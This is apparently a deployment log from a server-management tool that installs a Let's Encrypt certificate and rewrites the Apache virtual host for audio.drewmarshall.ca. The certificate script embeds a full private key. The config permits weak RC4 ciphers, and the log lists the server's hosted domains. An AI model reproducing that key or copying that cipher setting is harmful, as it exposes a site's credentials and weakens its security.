cat > g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0


2025-12-04 06:00:19: 

chmod 755 /tmp/pkp618446; /tmp/pkp618446; rm /tmp/pkp618446

2025-12-04 06:00:19: 




2025-12-04 06:00:24: Establishing a connection
2025-12-04 06:00:24: 

PUT: /tmp/pkp251085

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
rm g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0


2025-12-04 06:00:24: 

chmod 755 /tmp/pkp251085; /tmp/pkp251085; rm /tmp/pkp251085

2025-12-04 06:00:24: 




2025-12-04 06:00:24: Establishing a connection
2025-12-04 06:00:24: 

PUT: /tmp/pkp630290

#!/bin/bash
temp_file=$(mktemp)
TARGET=33fbf8d7936a8c67fb764b1ea4759d7a.crt

cat > $temp_file <<'endmsg'
12:13:57:c1:2c:03:85:ef:13:4f:f4:96:ff:af:24:02

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBlpd+IxYSU0pco3RE70WfZ+MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTUyWhcNMjYwMzA0MDUwMTUxWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDBoKasqR1yjeQ4U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8It
DPlWB+6bKSgpeGexCDy9SMPmtbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3Y
TIfMWeGgwKCKpq+5Ldvo/QHvcQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5q
m6wHPq8hscVVUsOW2y5ou+4D00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hF
Fspu26iq9uirrc1Es/uXScW0T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q
0n77udLks+zfQIPCDj5BMcP+ZK1IINYHAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFFr81x/St+G/ZhydrmW+r39ZKdteMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa5/KH
7QAABAMASDBGAiEA4ofejH3Vt1m+y9O7Mc7r4SmWMOFhrov/Lb89cJC1rh8CIQDy
vIgsZbZeKGfwoQhIWkOyYmb8U3r/eRBmSWb+tZQXaQB+AOMjjfKNoojgquCs8PqQ
yYXwtr/10qUnsAH8HERYxLboAAABmufyiuMACAAABQAnyYnuBAMARzBFAiEAwrm4
UTMW0VDkCfCPlmiRoCkJAiayDknk9aDoM648l/YCICFGnih1t6oDfpHgcPXKhltq
EWXOUYsUaRYKMpqKHv3PMA0GCSqGSIb3DQEBCwUAA4IBAQAMNAI2pxL7ApofZX+v
MKJh9c8LwfhTClXoyZfSU00Pn7cxcwNag/8bxI5jXj9xw3nxn40BJSgIVkaVbVdl
cg+/0BthszQkBaKCuhX0nIFBx1oIBTwdvq3Dw2lv/A6BUbdjIqCyBl9Yi9p2PbPY
k7YV9l2OcDXNFGKTHW8S8IAzfRgsONLOBNGAWhzlDGzX2BYqVPkjerHLxEuTDYSf
dIf9ZHutSkPxCUH0ct7Q0olmYxt2gvfbSGNrQU7JLQrP6nmnJaH7j2fkBwxtC4Ks
qDgJ1kiCTfXvQCsjsZFeool/o1jPlPeIg8rGnjcP/s/PN2T6AIMe1MMQXHHco1Fb
XI/R
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDBoKasqR1yjeQ4
U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8ItDPlWB+6bKSgpeGexCDy9SMPm
tbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3YTIfMWeGgwKCKpq+5Ldvo/QHv
cQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5qm6wHPq8hscVVUsOW2y5ou+4D
00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hFFspu26iq9uirrc1Es/uXScW0
T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q0n77udLks+zfQIPCDj5BMcP+
ZK1IINYHAgMBAAECggEBAIms+DZWvTiByZ9/R6LoB+zwJ1ghl9sW/EPPBSeIFFu6
uefWyVcW45ty2Ssh0rgCyKrMETage8e/IIQ//okOVqt1MzBZuiE7ry6dGCtIG98Q
IYyUbtFI6bRNnlVgJ31M2hocMWBDSlVc6O5e+d9zOgPLRYitFiytCImnQAmocEYK
pI7Z0ULTKBOeDGCSd6XLVNBMZ3ln3e32q4yVB8pEM+pKWyE5fzERoKRRLRb4vyXD
2nKDpyD1GyXfTDbK57G7FldymTae7ByjvrHI96hhTyxPWqFFIUkWGNCdKisxtojn
StSKeyfSdzA8vVIhI6OPlh48c6V+haeuZuCdhQrhp1kCgYEA+fnak1Meay3jmPQe
a8qpU5cxyl9hxniyxUOufAFR1wCJUPbykOAT9/5hbptUeHoSefZJGKvOZUphzWRm
O1bqdKgNAtTYzEywX4moDABM4etsFTiVHfbgi4P/X0lwRszSIC1k0e0OSQGPK3mN
ir01pvHP4XkH2xikxbZOf8SMp0UCgYEAxkssd4xBjE5FSiJr2XE+Uq73DW86TFrU
YlKsbfjaQrg4k9wpBxsztolYPTQJ8MqdZ40FrYVF3Bj67vn+VReaVosKyaZvZnNK
rD23+Upch1Uy4hfw1ha1p723BmNSbmz6HMn3FgCvtgDnyv3DA2LS4hHhxXvKhwJQ
fmqE0ofrptsCgYBTOzLgzNMbAqt+WQHsCA17DKOCa2HF0JhNgCyPk2zpdn9CGwdG
36UmdGeCiWuFtbeDLlLGSSYuqaaI2b4EUfs8nlu+rpoE5B/xn4b5f/wZWOai5jUY
RgQbz/ZuhqhAmp/4IMUp9JFGE6PU6OMM59T+YhNCUqcf90OdpQbcGdhvNQKBgQCD
qMIbljqnaAjFklk9hN02lQlgGCwDKoO9zNrEIej5R8v5EMME/uC1IDhAWt8Gy+D7
Mj1E2yppWwSxy7c81HEbaTJ+dU2eHorEFi6jDOamzMD+MZss6uMuPt7ZFPVUcHMY
zliKeWYxWCSPOTJUezc991WKhAkS30yGwz7xcmHa5QKBgQC/49Q7pGbHtVlPGMkh
FWb0WKP8zM8SKIRDXQGI+aAStqmBdpdXE5nEVMc6Xc5ZOM6GXTUGeMLYmPehrnJB
ceh8xHDy5/FgiBsDvATZMDBgTXLqpsZsr31EXbMWhf8daJE+4DI7qT7tKSPiXc34
Il3XwFbUZRUNR/32eC4ugChVDg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-04 06:00:24: 

chmod 755 /tmp/pkp630290; /tmp/pkp630290; rm /tmp/pkp630290

2025-12-04 06:00:24: 


dir=/etc/ssl/certs


2025-12-04 06:00:24: 

PUT: /tmp/pkp220549

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-04 06:00:24: 

chmod 755 /tmp/pkp220549; /tmp/pkp220549; rm /tmp/pkp220549

2025-12-04 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 45

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-04 06:00:24: 

PUT: /tmp/pkp202301

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_audio_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf= 1'
fi


2025-12-04 06:00:24: 

chmod 755 /tmp/pkp202301; /tmp/pkp202301; rm /tmp/pkp202301

2025-12-04 06:00:24: 




2025-12-04 06:00:24: 

PUT: /tmp/pkp684884

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-04 06:00:24: 

chmod 755 /tmp/pkp684884; /tmp/pkp684884; rm /tmp/pkp684884

2025-12-04 06:00:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-04 06:00:24: Establishing a connection
2025-12-04 06:00:25: 

PUT: /tmp/pkp251256

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-04 06:00:25: 

chmod 755 /tmp/pkp251256; /tmp/pkp251256; rm /tmp/pkp251256

2025-12-04 06:00:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-04 06:00:25: 

PUT: /tmp/pkp941668

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-04 06:00:25: 

chmod 755 /tmp/pkp941668; /tmp/pkp941668; rm /tmp/pkp941668

2025-12-04 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf	1238

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-04 06:00:25: 

PUT: /tmp/pkp208729

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-04 06:00:25: 

chmod 755 /tmp/pkp208729; /tmp/pkp208729; rm /tmp/pkp208729

2025-12-04 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt	5381
12:13:57:c1:2c:03:85:ef:13:4f:f4:96:ff:af:24:02

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBlpd+IxYSU0pco3RE70WfZ+MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTUyWhcNMjYwMzA0MDUwMTUxWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDBoKasqR1yjeQ4U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8It
DPlWB+6bKSgpeGexCDy9SMPmtbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3Y
TIfMWeGgwKCKpq+5Ldvo/QHvcQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5q
m6wHPq8hscVVUsOW2y5ou+4D00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hF
Fspu26iq9uirrc1Es/uXScW0T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q
0n77udLks+zfQIPCDj5BMcP+ZK1IINYHAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFFr81x/St+G/ZhydrmW+r39ZKdteMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa5/KH
7QAABAMASDBGAiEA4ofejH3Vt1m+y9O7Mc7r4SmWMOFhrov/Lb89cJC1rh8CIQDy
vIgsZbZeKGfwoQhIWkOyYmb8U3r/eRBmSWb+tZQXaQB+AOMjjfKNoojgquCs8PqQ
yYXwtr/10qUnsAH8HERYxLboAAABmufyiuMACAAABQAnyYnuBAMARzBFAiEAwrm4
UTMW0VDkCfCPlmiRoCkJAiayDknk9aDoM648l/YCICFGnih1t6oDfpHgcPXKhltq
EWXOUYsUaRYKMpqKHv3PMA0GCSqGSIb3DQEBCwUAA4IBAQAMNAI2pxL7ApofZX+v
MKJh9c8LwfhTClXoyZfSU00Pn7cxcwNag/8bxI5jXj9xw3nxn40BJSgIVkaVbVdl
cg+/0BthszQkBaKCuhX0nIFBx1oIBTwdvq3Dw2lv/A6BUbdjIqCyBl9Yi9p2PbPY
k7YV9l2OcDXNFGKTHW8S8IAzfRgsONLOBNGAWhzlDGzX2BYqVPkjerHLxEuTDYSf
dIf9ZHutSkPxCUH0ct7Q0olmYxt2gvfbSGNrQU7JLQrP6nmnJaH7j2fkBwxtC4Ks
qDgJ1kiCTfXvQCsjsZFeool/o1jPlPeIg8rGnjcP/s/PN2T6AIMe1MMQXHHco1Fb
XI/R
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
